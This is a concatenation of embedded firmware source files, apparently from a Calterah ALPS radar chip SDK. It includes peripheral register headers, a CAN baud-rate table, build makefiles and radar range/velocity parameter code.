int32_t (*int_status)(dw_i2c_t *dev_i2c, uint32_t *status);
int32_t (*int_mask)(dw_i2c_t *dev_i2c, uint32_t bitmap, uint32_t flag);
int32_t (*int_clear)(dw_i2c_t *dev_i2c, dw_i2c_int_type_t *type);
int32_t (*fifo_threshold)(dw_i2c_t *dev_i2c, uint32_t *rx_thres, uint32_t *tx_thres);
int32_t (*enable)(dw_i2c_t *dev_i2c, uint32_t tx_block, uint32_t abort, uint32_t enable);
int32_t (*status)(dw_i2c_t *dev_i2c, uint32_t *status);
int32_t (*fifo_data_count)(dw_i2c_t *dev_i2c, uint32_t *rxfifo_cnt, uint32_t *txfifo_cnt);
int32_t (*sda_hold_time)(dw_i2c_t *dev_i2c, uint32_t rx_cycles, uint32_t tx_cycles);
int32_t (*spike_suppression_limit)(dw_i2c_t *dev_i2c, dw_i2c_speed_mode_t speed, uint32_t limit);
} dw_i2c_ops_t;
#endif
<file_sep>#ifndef CALTERAH_UNIT_TEST_H
#define CALTERAH_UNIT_TEST_H
#include <stdint.h> /* C99 standard lib */
#include <limits.h> /* C99 standard lib */
#include <stddef.h> /* C99 standard lib */
#include <stdbool.h> /* C99 standard lib */
/* From embarc_error.h */
#define E_OK (0) /*!< ok */
#define E_SYS (-5) /*!< system error */
#define E_NOSPT (-9) /*!< unsupported features */
#define E_RSFN (-10) /*!< reserved function code */
#define E_RSATR (-11) /*!< reserved attribute */
#define E_PAR (-17) /*!< parameter error */
#define E_ID (-18) /*!< invalid ID number */
#define E_CTX (-25) /*!< context error */
#define E_MACV (-26) /*!< memory access violation */
#define E_OACV (-27) /*!< object access violation */
#define E_ILUSE (-28) /*!< illegal service call use */
#define E_NOMEM (-33) /*!< insufficient memory */
#define E_NOID (-34) /*!< no ID number available */
#define E_NORES (-35) /*!< no resource available */
#define E_OBJ (-41) /*!< object state error */
#define E_NOEXS (-42) /*!< non-existent object */
#define E_QOVR (-43) /*!< queue overflow */
#define E_RLWAI (-49) /*!< forced release from waiting */
#define E_TMOUT (-50) /*!< polling failure or timeout */
#define E_DLT (-51) /*!< waiting object deleted */
#define E_CLS (-52) /*!< waiting object state changed */
#define E_WBLK (-57) /*!< non-blocking accepted */
#define E_BOVR (-58) /*!< buffer overflow */
#define E_OPNED (-6) /*!< device is opened */
#define E_CLSED (-7) /*!< device is closed */
#define EMBARC_PRINTF printf
#endif
<file_sep>#ifndef _DBGBUS_H_
#define _DBGBUS_H_
void dbgbus_input_config(void);
void dbgbus_dump_enable(uint8_t dbg_src);
void dbgbus_hil_ready(void);
void dbgbus_dump_reset(void);
void dbgbus_dump_done(void);
void dbgbus_dump_disable(void);
void dbgbus_free_run_enable(void);
void dbgbus_dump_start(uint8_t dbg_src);
void dbgbus_dump_stop(void);
void gpio_free_run_sync(void);
void lvds_dump_reset(void);
void lvds_dump_done(void);
#endif
<file_sep>#ifndef _ALPS_DMA_REQ_H_
#define _ALPS_DMA_REQ_H_
#define DMA_REQ_CAN0_RX (0)
#define DMA_REQ_CAN0_TX (1)
#define DMA_REQ_CAN1_RX (2)
#define DMA_REQ_CAN1_TX (3)
#define DMA_REQ_QSPI_M_RX (4)
#define DMA_REQ_QSPI_M_TX (5)
#define DMA_REQ_SPI_S_RX (6)
#define DMA_REQ_SPI_S_TX (7)
#define DMA_REQ_SPI_M0_RX (8)
#define DMA_REQ_SPI_M0_TX (9)
#define DMA_REQ_SPI_M1_RX (10)
#define DMA_REQ_SPI_M1_TX (11)
#define DMA_REQ_UART0_RX (12)
#define DMA_REQ_UART0_TX (13)
#define DMA_REQ_LVDS_TX (14)
#define DMA_REQ_BB_IRQ (15)
#endif
<file_sep>#include "embARC.h"
#include "embARC_debug.h"
#include "embARC_assert.h"
#include "can.h"
#include "dev_can.h"
#include "can_baud_def.h"
typedef struct can_baud_desciption {
uint32_t clock;
uint32_t baud;
can_baud_t desc;
} can_baud_desc_t;
static can_baud_desc_t can_baud_info[] = {
{CLOCK_10MHZ, CAN_BAUDRATE_100KBPS, CAN_BAUD_DESC_10MHZ_100KBPS},
{CLOCK_10MHZ, CAN_BAUDRATE_200KBPS, CAN_BAUD_DESC_10MHZ_200KBPS},
{CLOCK_10MHZ, CAN_BAUDRATE_250KBPS, CAN_BAUD_DESC_10MHZ_250KBPS},
{CLOCK_10MHZ, CAN_BAUDRATE_500KBPS, CAN_BAUD_DESC_10MHZ_500KBPS},
{CLOCK_10MHZ, CAN_BAUDRATE_1MBPS, CAN_BAUD_DESC_10MHZ_1MBPS},
{CLOCK_20MHZ, CAN_BAUDRATE_100KBPS, CAN_BAUD_DESC_20MHZ_100KBPS},
{CLOCK_20MHZ, CAN_BAUDRATE_200KBPS, CAN_BAUD_DESC_20MHZ_200KBPS},
{CLOCK_20MHZ, CAN_BAUDRATE_250KBPS, CAN_BAUD_DESC_20MHZ_250KBPS},
{CLOCK_20MHZ, CAN_BAUDRATE_500KBPS, CAN_BAUD_DESC_20MHZ_500KBPS},
{CLOCK_20MHZ, CAN_BAUDRATE_1MBPS, CAN_BAUD_DESC_20MHZ_1MBPS},
{CLOCK_20MHZ, CAN_BAUDRATE_2MBPS, CAN_BAUD_DESC_20MHZ_2MBPS},
{CLOCK_40MHZ, CAN_BAUDRATE_100KBPS, CAN_BAUD_DESC_40MHZ_100KBPS},
{CLOCK_40MHZ, CAN_BAUDRATE_200KBPS, CAN_BAUD_DESC_40MHZ_200KBPS},
{CLOCK_40MHZ, CAN_BAUDRATE_250KBPS, CAN_BAUD_DESC_40MHZ_250KBPS},
{CLOCK_40MHZ, CAN_BAUDRATE_500KBPS, CAN_BAUD_DESC_40MHZ_500KBPS},
{CLOCK_40MHZ, CAN_BAUDRATE_1MBPS, CAN_BAUD_DESC_40MHZ_1MBPS},
{CLOCK_40MHZ, CAN_BAUDRATE_2MBPS, CAN_BAUD_DESC_40MHZ_2MBPS},
{CLOCK_40MHZ, CAN_BAUDRATE_4MBPS, CAN_BAUD_DESC_40MHZ_4MBPS},
{CLOCK_50MHZ, CAN_BAUDRATE_100KBPS, CAN_BAUD_DESC_50MHZ_100KBPS},
{CLOCK_50MHZ, CAN_BAUDRATE_200KBPS, CAN_BAUD_DESC_50MHZ_200KBPS},
{CLOCK_50MHZ, CAN_BAUDRATE_250KBPS, CAN_BAUD_DESC_50MHZ_250KBPS},
{CLOCK_50MHZ, CAN_BAUDRATE_500KBPS, CAN_BAUD_DESC_50MHZ_500KBPS},
{CLOCK_50MHZ, CAN_BAUDRATE_1MBPS, CAN_BAUD_DESC_50MHZ_1MBPS},
{CLOCK_50MHZ, CAN_BAUDRATE_2MBPS, CAN_BAUD_DESC_50MHZ_2MBPS},
{CLOCK_50MHZ, CAN_BAUDRATE_4MBPS, CAN_BAUD_DESC_50MHZ_4MBPS},
{CLOCK_100MHZ, CAN_BAUDRATE_100KBPS, CAN_BAUD_DESC_100MHZ_100KBPS},
{CLOCK_100MHZ, CAN_BAUDRATE_200KBPS, CAN_BAUD_DESC_100MHZ_200KBPS},
{CLOCK_100MHZ, CAN_BAUDRATE_250KBPS, CAN_BAUD_DESC_100MHZ_250KBPS},
{CLOCK_100MHZ, CAN_BAUDRATE_500KBPS, CAN_BAUD_DESC_100MHZ_500KBPS},
{CLOCK_100MHZ, CAN_BAUDRATE_1MBPS, CAN_BAUD_DESC_100MHZ_1MBPS},
{CLOCK_100MHZ, CAN_BAUDRATE_2MBPS, CAN_BAUD_DESC_100MHZ_2MBPS},
{CLOCK_100MHZ, CAN_BAUDRATE_4MBPS, CAN_BAUD_DESC_100MHZ_4MBPS},
{CLOCK_100MHZ, CAN_BAUDRATE_5MBPS, CAN_BAUD_DESC_100MHZ_5MBPS},
};
can_baud_t *can_get_baud(uint32_t ref_clock, uint32_t baud_rate)
{
can_baud_t *baud_desc = NULL;
int32_t idx = 0;
for (; idx < sizeof(can_baud_info)/sizeof(can_baud_desc_t); idx++) {
if((ref_clock == can_baud_info[idx].clock) && \
(baud_rate == can_baud_info[idx].baud)) {
baud_desc = &can_baud_info[idx].desc;
break;
}
}
return baud_desc;
}
<file_sep>#ifndef _PWM_HAL_H_
#define _PWM_HAL_H_
int32_t pwm_init(void);
int32_t pwm_start(uint32_t id, uint32_t duty_cycle, void (*func)(void *param));
int32_t pwm_stop(uint32_t id);
#endif
<file_sep>CALTERAH_SPI_S_SERVER_ROOT = $(CALTERAH_COMMON_ROOT)/spi_slave_server
CALTERAH_SPI_S_SERVER_CSRCDIR = $(CALTERAH_SPI_S_SERVER_ROOT)
CALTERAH_SPI_S_SERVER_ASMSRCDIR = $(CALTERAH_SPI_S_SERVER_ROOT)
# find all the source files in the target directories
CALTERAH_SPI_S_SERVER_CSRCS = $(call get_csrcs, $(CALTERAH_SPI_S_SERVER_CSRCDIR))
CALTERAH_SPI_S_SERVER_ASMSRCS = $(call get_asmsrcs, $(CALTERAH_SPI_S_SERVER_ASMSRCDIR))
# get object files
CALTERAH_SPI_S_SERVER_COBJS = $(call get_relobjs, $(CALTERAH_SPI_S_SERVER_CSRCS))
CALTERAH_SPI_S_SERVER_ASMOBJS = $(call get_relobjs, $(CALTERAH_SPI_S_SERVER_ASMSRCS))
CALTERAH_SPI_S_SERVER_OBJS = $(CALTERAH_SPI_S_SERVER_COBJS) $(CALTERAH_SPI_S_SERVER_ASMOBJS)
# get dependency files
CALTERAH_SPI_S_SERVER_DEPS = $(call get_deps, $(CALTERAH_SPI_S_SERVER_OBJS))
# genearte library
CALTERAH_SPI_S_SERVER_LIB = $(OUT_DIR)/lib_spi_slave_server.a
COMMON_COMPILE_PREREQUISITES += $(CALTERAH_SPI_S_SERVER_ROOT)/spi_slave_server.mk
# library generation rule
$(CALTERAH_SPI_S_SERVER_LIB): $(CALTERAH_SPI_S_SERVER_OBJS)
$(TRACE_ARCHIVE)
$(Q)$(AR) $(AR_OPT) $@ $(CALTERAH_SPI_S_SERVER_OBJS)
# specific compile rules
# user can add rules to compile this library
# if not rules specified to this library, it will use default compiling rules
.SECONDEXPANSION:
$(CALTERAH_SPI_S_SERVER_COBJS): $(OUT_DIR)/%.o : %.c $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(COMPILE_OPT) $< -o $@
CALTERAH_COMMON_CSRC += $(CALTERAH_SPI_S_SERVER_CSRCS)
CALTERAH_COMMON_ASMSRCS += $(CALTERAH_SPI_S_SERVER_ASMSRCS)
CALTERAH_COMMON_COBJS += $(CALTERAH_SPI_S_SERVER_COBJS)
CALTERAH_COMMON_ASMOBJS += $(CALTERAH_SPI_S_SERVER_ASMOBJS)
CALTERAH_COMMON_LIBS += $(CALTERAH_SPI_S_SERVER_LIB)
<file_sep>##
# \defgroup MK_CHIP CHIP Makefile Configurations
# \brief makefile related to chip configurations
##
#executing platform environment: fpga/chip/...
PLAT_ENV ?= CHIP
override PLAT_ENV := $(strip $(PLAT_ENV))
# chips root declaration
CHIPS_ROOT = $(EMBARC_ROOT)/chip
##
# CHIP
# select the target chip
# scan the sub-dirs of chip to get the supported chips
SUPPORTED_CHIPS = $(basename $(notdir $(wildcard $(CHIPS_ROOT)/*/*.mk)))
CHIP ?= alps
override CHIP := $(strip $(CHIP))
CHIP_CSRCDIR += $(CHIPS_ROOT)
CHIP_ASMSRCDIR += $(CHIPS_ROOT)
CHIP_INCDIR += $(CHIPS_ROOT)
## Set Valid Chip
VALID_CHIP = $(call check_item_exist, $(CHIP), $(SUPPORTED_CHIPS))
## Try Check CHIP is valid
ifeq ($(VALID_CHIP), )
$(info CHIP - $(SUPPORTED_CHIPS) are supported)
$(error CHIP $(CHIP) is not supported, please check it!)
endif
#chip definition
CHIP_ID = $(call uc,CHIP_$(VALID_CHIP))
CHIP_DEFINES += -D$(CHIP_ID) -DPLAT_ENV_$(PLAT_ENV)
#device usage settings
#must be before include
COMMON_COMPILE_PREREQUISITES += $(CHIPS_ROOT)/$(VALID_CHIP)/$(VALID_CHIP).mk
include $(CHIPS_ROOT)/$(VALID_CHIP)/$(VALID_CHIP).mk
LINK_FILE_OPT += -DEXT_RAM_START=$(EXT_RAM_START) -DEXT_RAM_SIZE=$(EXT_RAM_SIZE)
LINK_FILE_OPT += -DEXT_TEXT_XIP_START=$(EXT_TEXT_XIP_START) -DEXT_TEXT_XIP_SIZE=$(EXT_TEXT_XIP_SIZE)
# include dependency files
ifneq ($(MAKECMDGOALS),clean)
-include $(CHIP_DEPS)
endif
<file_sep>FREERTOS_COMMON_ROOT = $(CALTERAH_ROOT)/freertos/common
include $(FREERTOS_COMMON_ROOT)/cli/cli.mk
include $(FREERTOS_COMMON_ROOT)/tick/tick.mk<file_sep>#ifndef _ALPS_M_CLOCK_REG_H_
#define _ALPS_M_CLOCK_REG_H_
#include "alps_hardware.h"
#define REG_CLKGEN_READY_50M (REL_REGBASE_CLKGEN + 0x0000)
#define REG_CLKGEN_READY_PLL (REL_REGBASE_CLKGEN + 0x0004)
#define REG_CLKGEN_SEL_300M (REL_REGBASE_CLKGEN + 0x0008)
#define REG_CLKGEN_SEL_400M (REL_REGBASE_CLKGEN + 0x000C)
#define REG_CLKGEN_SEL_CAN0 (REL_REGBASE_CLKGEN + 0x0010)
#define REG_CLKGEN_SEL_CAN1 (REL_REGBASE_CLKGEN + 0x0014)
#define REG_CLKGEN_FSCM_BYPASS (REL_REGBASE_CLKGEN + 0x0018)
#define REG_CLKGEN_XTAL_MODE (REL_REGBASE_CLKGEN + 0x001C)
#define REG_CLKGEN_DIV_CPU (REL_REGBASE_CLKGEN + 0x0100)
#define REG_CLKGEN_DIV_MEM (REL_REGBASE_CLKGEN + 0x0104)
#define REG_CLKGEN_DIV_AHB (REL_REGBASE_CLKGEN + 0x0108)
#define REG_CLKGEN_DIV_APB (REL_REGBASE_CLKGEN + 0x010C)
#define REG_CLKGEN_DIV_APB_REF (REL_REGBASE_CLKGEN + 0x0110)
#define REG_CLKGEN_DIV_CAN_0 (REL_REGBASE_CLKGEN + 0x0114)
#define REG_CLKGEN_DIV_CAN_1 (REL_REGBASE_CLKGEN + 0x0118)
#define REG_CLKGEN_DIV_RF_TEST (REL_REGBASE_CLKGEN + 0x011C)
#define REG_CLKGEN_DIV_DIG_TEST (REL_REGBASE_CLKGEN + 0x0120)
#define REG_CLKGEN_ENA_DMA (REL_REGBASE_CLKGEN + 0x0200)
#define REG_CLKGEN_ENA_ROM (REL_REGBASE_CLKGEN + 0x0204)
#define REG_CLKGEN_ENA_RAM (REL_REGBASE_CLKGEN + 0x0208)
#define REG_CLKGEN_ENA_BB_TOP (REL_REGBASE_CLKGEN + 0x020C)
#define REG_CLKGEN_ENA_BB_CORE (REL_REGBASE_CLKGEN + 0x0210)
#define REG_CLKGEN_ENA_FLASH_CTRL (REL_REGBASE_CLKGEN + 0x0214)
#define REG_CLKGEN_ENA_CRC (REL_REGBASE_CLKGEN + 0x0218)
#define REG_CLKGEN_ENA_DMU (REL_REGBASE_CLKGEN + 0x021C)
#define REG_CLKGEN_ENA_UART_0 (REL_REGBASE_CLKGEN + 0x0220)
#define REG_CLKGEN_ENA_UART_1 (REL_REGBASE_CLKGEN + 0x0224)
#define REG_CLKGEN_ENA_I2C (REL_REGBASE_CLKGEN + 0x0228)
#define REG_CLKGEN_ENA_SPI_M0 (REL_REGBASE_CLKGEN + 0x022C)
#define REG_CLKGEN_ENA_SPI_M1 (REL_REGBASE_CLKGEN + 0x0230)
#define REG_CLKGEN_ENA_SPI_S (REL_REGBASE_CLKGEN + 0x0234)
#define REG_CLKGEN_ENA_QSPI (REL_REGBASE_CLKGEN + 0x0238)
#define REG_CLKGEN_ENA_GPIO (REL_REGBASE_CLKGEN + 0x023C)
#define REG_CLKGEN_ENA_TIMER (REL_REGBASE_CLKGEN + 0x0240)
#define REG_CLKGEN_ENA_PWM (REL_REGBASE_CLKGEN + 0x0244)
#define REG_CLKGEN_ENA_CAN_0 (REL_REGBASE_CLKGEN + 0x0248)
#define REG_CLKGEN_ENA_CAN_1 (REL_REGBASE_CLKGEN + 0x024C)
#define REG_CLKGEN_ENA_LVDS (REL_REGBASE_CLKGEN + 0x0250)
#define REG_CLKGEN_ENA_DBGBUS (REL_REGBASE_CLKGEN + 0x0254)
#define REG_CLKGEN_ENA_RF_TEST (REL_REGBASE_CLKGEN + 0x0258)
#define REG_CLKGEN_ENA_DIG_TEST (REL_REGBASE_CLKGEN + 0x025C)
#define REG_CLKGEN_RSTN_SW_REBOOT (REL_REGBASE_CLKGEN + 0x0300)
#define REG_CLKGEN_RSTN_DMA (REL_REGBASE_CLKGEN + 0x0304)
#define REG_CLKGEN_RSTN_BB_TOP (REL_REGBASE_CLKGEN + 0x0308)
#define REG_CLKGEN_RSTN_BB_CORE (REL_REGBASE_CLKGEN + 0x030C)
#define REG_CLKGEN_RSTN_FLASH_CTRL (REL_REGBASE_CLKGEN + 0x0310)
#define REG_CLKGEN_RSTN_CRC (REL_REGBASE_CLKGEN + 0x0314)
#define REG_CLKGEN_RSTN_DMU (REL_REGBASE_CLKGEN + 0x0318)
#define REG_CLKGEN_RSTN_UART_0 (REL_REGBASE_CLKGEN + 0x031C)
#define REG_CLKGEN_RSTN_UART_1 (REL_REGBASE_CLKGEN + 0x0320)
#define REG_CLKGEN_RSTN_I2C (REL_REGBASE_CLKGEN + 0x0324)
#define REG_CLKGEN_RSTN_SPI_M0 (REL_REGBASE_CLKGEN + 0x0328)
#define REG_CLKGEN_RSTN_SPI_M1 (REL_REGBASE_CLKGEN + 0x032C)
#define REG_CLKGEN_RSTN_SPI_S (REL_REGBASE_CLKGEN + 0x0330)
#define REG_CLKGEN_RSTN_QSPI (REL_REGBASE_CLKGEN + 0x0334)
#define REG_CLKGEN_RSTN_GPIO (REL_REGBASE_CLKGEN + 0x0338)
#define REG_CLKGEN_RSTN_TIMER (REL_REGBASE_CLKGEN + 0x033C)
#define REG_CLKGEN_RSTN_PWM (REL_REGBASE_CLKGEN + 0x0340)
#define REG_CLKGEN_RSTN_CAN_0 (REL_REGBASE_CLKGEN + 0x0344)
#define REG_CLKGEN_RSTN_CAN_1 (REL_REGBASE_CLKGEN + 0x0348)
#define REG_CLKGEN_RSTN_LVDS (REL_REGBASE_CLKGEN + 0x034C)
#define REG_CLKGEN_RSTN_RF_TEST (REL_REGBASE_CLKGEN + 0x0350)
#define REG_CLKGEN_RSTN_DIG_TEST (REL_REGBASE_CLKGEN + 0x0354)
#endif
<file_sep>#include "baseband.h"
#include "sensor_config.h"
#ifdef UNIT_TEST
#include "calterah_unit_test.h"
#include "stdio.h"
#else
#include "embARC_error.h"
#endif
#include "math.h"
#ifndef M_PI
#define M_PI 3.1415926535
#endif
#define DEG2RAD 0.017453292519943295f
void radar_param_update(radar_sys_params_t *sys_params)
{
sensor_config_t* cfg = (sensor_config_t*) CONTAINER_OF(sys_params, baseband_t, sys_params)->cfg;
float r, v;
bool anti_velamb_en = cfg ->anti_velamb_en;
float TD = sys_params->chirp_period * cfg->nvarray;
if (anti_velamb_en)
TD = sys_params->chirp_period * (cfg->nvarray + 1) + cfg->anti_velamb_delay;
/* compute coeff first */
sys_params->r_k_coeff = sys_params->Fs / cfg->dec_factor / sys_params->rng_nfft; // dividing Fs by dec_factor to correct range calculation
sys_params->r_p_coeff = 1.0 / (TD * sys_params->vel_nfft);
sys_params->r_coeff = LIGHTSPEED / 1e+6 / (2 * sys_params->bandwidth) * sys_params->chirp_rampup;
sys_params->v_coeff = LIGHTSPEED / 1e+3 / (2 * sys_params->vel_nfft * TD * sys_params->carrier_freq);
radar_param_fft2rv(sys_params, 1, 0, &r, &v);
sys_params->rng_delta = r;
radar_param_fft2rv(sys_params, 0, 1, &r, &v);
sys_params->vel_delta = v;
sys_params->az_delta_deg = (sys_params->bfm_az_right -
sys_params->bfm_az_left) / sys_params->doa_npoint[0];
sys_params->ev_delta_deg = (sys_params->bfm_ev_up -
sys_params->bfm_ev_down) / sys_params->doa_npoint[1];
sys_params->az_delta = sys_params->az_delta_deg * DEG2RAD;
sys_params->ev_delta = sys_params->ev_delta_deg * DEG2RAD;
sys_params->vel_wrap_max = cfg->track_vel_pos_ind_portion * sys_params->vel_nfft;
}
uint32_t radar_param_check(const radar_sys_params_t *sys_params)
{
return E_OK;
}
static uint32_t index_wrap(const int32_t N, int32_t idx)
{
while (idx >= N/2)
idx -= N;
while (idx < -N/2)
idx += N;
return idx;
}
static uint32_t index_mirror(const int32_t N, int32_t idx)
{
while (idx < 0)
idx += N;
while (idx >= N)
idx -= N;
if (idx > N/2)
idx = N - idx;
return idx;
}
void radar_param_fft2rv(const radar_sys_params_t *sys_params,
const int32_t k,
const int32_t p,
float *r,
float *v)
{
int32_t idx_p = index_wrap(sys_params->vel_nfft, p);
int32_t idx_k = index_wrap(sys_params->rng_nfft, k);
radar_param_fft2rv_nowrap(sys_params, idx_k, idx_p, r, v);
}
void radar_param_fft2rv_nowrap(const radar_sys_params_t *sys_params,
const float k,
const float p,
float *r,
float *v)
{
*r = sys_params->r_coeff * (sys_params->r_k_coeff * k - sys_params->r_p_coeff * p);
*v = sys_params->v_coeff * p;
}
void radar_param_rv2fft(const radar_sys_params_t *sys_params,
const float r,
const float v,
int32_t *k,
int32_t *p)
{
sensor_config_t* cfg = (sensor_config_t*) CONTAINER_OF(sys_params, baseband_t, sys_params)->cfg;
float idx = v * 2 * sys_params->vel_nfft;
idx *= sys_params->chirp_period;
/* 1e+3 is to balance unit */
idx *= sys_params->carrier_freq * 1e+3;
idx /= LIGHTSPEED;
int32_t tmpp = round(idx);
*p = index_wrap(sys_params->vel_nfft, tmpp);
/* 1e+6 is to balance unit */
float tmp = r * sys_params->bandwidth * 2 * 1e+6;
tmp /= sys_params->chirp_rampup * LIGHTSPEED;
tmp -= idx / (sys_params->chirp_period * sys_params->vel_nfft);
tmp *= sys_params->rng_nfft / sys_params->Fs * cfg->dec_factor; // dividing Fs by dec_factor to correct range calculation
*k = index_mirror(sys_params->rng_nfft, round(tmp));
}
void radar_param_config(radar_sys_params_t *sys_params)
{
fmcw_radio_t* radio = &(CONTAINER_OF(sys_params, baseband_t, sys_params)->radio);
sensor_config_t* cfg = (sensor_config_t*) CONTAINER_OF(sys_params, baseband_t, sys_params)->cfg;
float start_freq = INV_DIV_RATIO(radio->start_freq, FREQ_SYNTH_SD_RATE);
float stop_freq = INV_DIV_RATIO(radio->stop_freq, FREQ_SYNTH_SD_RATE);
sys_params->carrier_freq = start_freq;
float bandwidth = (stop_freq - start_freq) * 1e3;
sys_params->bandwidth = bandwidth ;
#ifdef CHIP_ALPS_A
float up = 1.0 * (1L << 21) / FREQ_SYNTH_SD_RATE / FREQ_SYNTH_SD_RATE / radio->step_up * bandwidth;
float down = 1.0 * (1L << 21) / FREQ_SYNTH_SD_RATE / FREQ_SYNTH_SD_RATE / radio->step_down * bandwidth;
float idle = (1 << radio->cnt_wait) * 1.0 / FREQ_SYNTH_SD_RATE;
#endif
#if (defined(CHIP_ALPS_B) || defined(CHIP_ALPS_MP))
float up = 1.0 * (1L << 25) / FREQ_SYNTH_SD_RATE / FREQ_SYNTH_SD_RATE / radio->step_up * bandwidth;
float down = 0;
float idle = radio->cnt_wait * 1.0 / FREQ_SYNTH_SD_RATE;
#endif
sys_params->chirp_rampup = up;
sys_params->chirp_period = up + down + idle;
sys_params->Fs = cfg->adc_freq;
sys_params->rng_nfft = cfg->rng_nfft;
sys_params->vel_nfft = cfg->vel_nfft;
sys_params->doa_npoint[0] = cfg->doa_npoint[0];
sys_params->doa_npoint[1] = cfg->doa_npoint[1];
sys_params->bfm_az_left = cfg->bfm_az_left;
sys_params->bfm_az_right = cfg->bfm_az_right;
sys_params->bfm_ev_up = cfg->bfm_ev_up;
sys_params->bfm_ev_down = cfg->bfm_ev_down;
float asin_l = sin(sys_params->bfm_az_left * DEG2RAD);
float asin_r = sin(sys_params->bfm_az_right * DEG2RAD);
float asin_step = (asin_r - asin_l) / cfg->doa_npoint[0];
float asin_d = sin(sys_params->bfm_ev_down * DEG2RAD);
float asin_u = sin(sys_params->bfm_ev_up * DEG2RAD);
float asin_step_ev = (asin_u - asin_d) / cfg->doa_npoint[1];
sys_params->dml_sin_az_left = asin_l;
sys_params->dml_sin_az_step = asin_step;
sys_params->dml_sin_ev_down = asin_d;
sys_params->dml_sin_ev_step = asin_step_ev;
sys_params->trk_fps = cfg->track_fps;
sys_params->trk_fov_az_left = cfg->track_fov_az_left;
sys_params->trk_fov_az_right = cfg->track_fov_az_right;
sys_params->trk_fov_ev_down = cfg->track_fov_ev_down;
sys_params->trk_fov_ev_up = cfg->track_fov_ev_up;
sys_params->trk_nf_thres = cfg->track_near_field_thres;
sys_params->trk_capt_delay = cfg->track_capture_delay;
sys_params->trk_drop_delay = cfg->track_drop_delay;
sys_params->trk_fps = cfg->track_fps;
#ifndef UNIT_TEST
radar_param_update(sys_params);
#endif
}
<file_sep>#ifndef _DW_SSI_REG_H_
#define _DW_SSI_REG_H_
#define DW_SSI_MAX_XFER_SIZE (32)
#define REG_DW_SSI_CTRLR0_OFFSET (0x0000)
#define REG_DW_SSI_CTRLR1_OFFSET (0x0004)
#define REG_DW_SSI_SSIENR_OFFSET (0x0008)
#define REG_DW_SSI_MWCR_OFFSET (0x000c)
#define REG_DW_SSI_SER_OFFSET (0x0010)
#define REG_DW_SSI_BAUDR_OFFSET (0x0014)
#define REG_DW_SSI_TXFTLR_OFFSET (0x0018)
#define REG_DW_SSI_RXFTLR_OFFSET (0x001c)
#define REG_DW_SSI_TXFLR_OFFSET (0x0020)
#define REG_DW_SSI_RXFLR_OFFSET (0x0024)
#define REG_DW_SSI_SR_OFFSET (0x0028)
#define REG_DW_SSI_IMR_OFFSET (0x002c)
#define REG_DW_SSI_ISR_OFFSET (0x0030)
#define REG_DW_SSI_RISR_OFFSET (0x0034)
#define REG_DW_SSI_TXOICR_OFFSET (0x0038)
#define REG_DW_SSI_RXOICR_OFFSET (0x003c)
#define REG_DW_SSI_RXUICR_OFFSET (0x0040)
#define REG_DW_SSI_MSTICR_OFFSET (0x0044)
#define REG_DW_SSI_ICR_OFFSET (0x0048)
#define REG_DW_SSI_DMACR_OFFSET (0x004c)
#define REG_DW_SSI_DMATDLR_OFFSET (0x0050)
#define REG_DW_SSI_DMARDLR_OFFSET (0x0054)
#define REG_DW_SSI_IDR_OFFSET (0x0058)
#define REG_DW_SSI_VERSION_OFFSET (0x005c)
#define REG_DW_SSI_DR_OFFSET(x) (0x0060 + ((x) << 2))
#define REG_DW_SSI_RX_SAMPLE_DLY_OFFSET (0x00f0)
#define REG_DW_SSI_SPI_CTRLR0_OFFSET (0x00f4)
#define REG_DW_SSI_TXD_DRIVE_EDGE_OFFSET (0x00f8)
/* control register. */
#define BIT_DW_SSI_CTRLR0_SSTE (1 << 24)
#define BITS_DW_SSI_CTRLR0_SPI_FRF_MASK (0x3)
#define BITS_DW_SSI_CTRLR0_SPI_FRF_SHIFT (21)
#define BITS_DW_SSI_CTRLR0_DFS32_MASK (0x1F)
#define BITS_DW_SSI_CTRLR0_DFS32_SHIFT (16)
#define BITS_DW_SSI_CTRLR0_CFS_MASK (0xF)
#define BITS_DW_SSI_CTRLR0_CFS_SHIFT (12)
#define BIT_DW_SSI_CTRLR0_SRL (1 << 11)
#define BIT_DW_SSI_CTRLR0_SLV_OE (1 << 10)
#define BITS_DW_SSI_CTRLR0_TMOD_MASK (0x3)
#define BITS_DW_SSI_CTRLR0_TMOD_SHIFT (8)
#define BIT_DW_SSI_CTRLR0_SCPOL (1 << 7)
#define BIT_DW_SSI_CTRLR0_SCPH (1 << 6)
#define BITS_DW_SSI_CTRLR0_FRF_MASK (0x3)
#define BITS_DW_SSI_CTRLR0_FRF_SHIFT (4)
#define BITS_DW_SSI_CTRLR0_DFS_MASK (0xF)
#define BITS_DW_SSI_CTRLR0_DFS_SHIFT (0)
/* microwire control register. */
#define BIT_DW_SSI_MWCR_MHS (1 << 2)
#define BIT_DW_SSI_MWCR_MDD (1 << 1)
#define BIT_DW_SSI_MWCR_MVMOD (1 << 0)
/* status register. */
#define BIT_DW_SSI_SR_DCOL (1 << 6)
#define BIT_DW_SSI_SR_TXE (1 << 5)
#define BIT_DW_SSI_SR_RFF (1 << 4)
#define BIT_DW_SSI_SR_RFNE (1 << 3)
#define BIT_DW_SSI_SR_TFE (1 << 2)
#define BIT_DW_SSI_SR_TFNF (1 << 1)
#define BIT_DW_SSI_SR_BUSY (1 << 0)
/* interrupt mask register. */
#define BIT_DW_SSI_IMR_MSTIM (1 << 5)
#define BIT_DW_SSI_IMR_RXFIM (1 << 4)
#define BIT_DW_SSI_IMR_RXOIM (1 << 3)
#define BIT_DW_SSI_IMR_RXUIM (1 << 2)
#define BIT_DW_SSI_IMR_TXOIM (1 << 1)
#define BIT_DW_SSI_IMR_TXEIM (1 << 0)
/* interrupt status register. */
#define BIT_DW_SSI_IMR_MSTIS (1 << 5)
#define BIT_DW_SSI_IMR_RXFIS (1 << 4)
#define BIT_DW_SSI_IMR_RXOIS (1 << 3)
#define BIT_DW_SSI_IMR_RXUIS (1 << 2)
#define BIT_DW_SSI_IMR_TXOIS (1 << 1)
#define BIT_DW_SSI_IMR_TXEIS (1 << 0)
/* interrupt status register. */
#define BIT_DW_SSI_IMR_MSTIR (1 << 5)
#define BIT_DW_SSI_IMR_RXFIR (1 << 4)
#define BIT_DW_SSI_IMR_RXOIR (1 << 3)
#define BIT_DW_SSI_IMR_RXUIR (1 << 2)
#define BIT_DW_SSI_IMR_TXOIR (1 << 1)
#define BIT_DW_SSI_IMR_TXEIR (1 << 0)
/* dma control register. */
#define BIT_DW_SSI_DMACR_TDMAE (1 << 1)
#define BIT_DW_SSI_DMACR_RDMAE (1 << 0)
/* spi control register. */
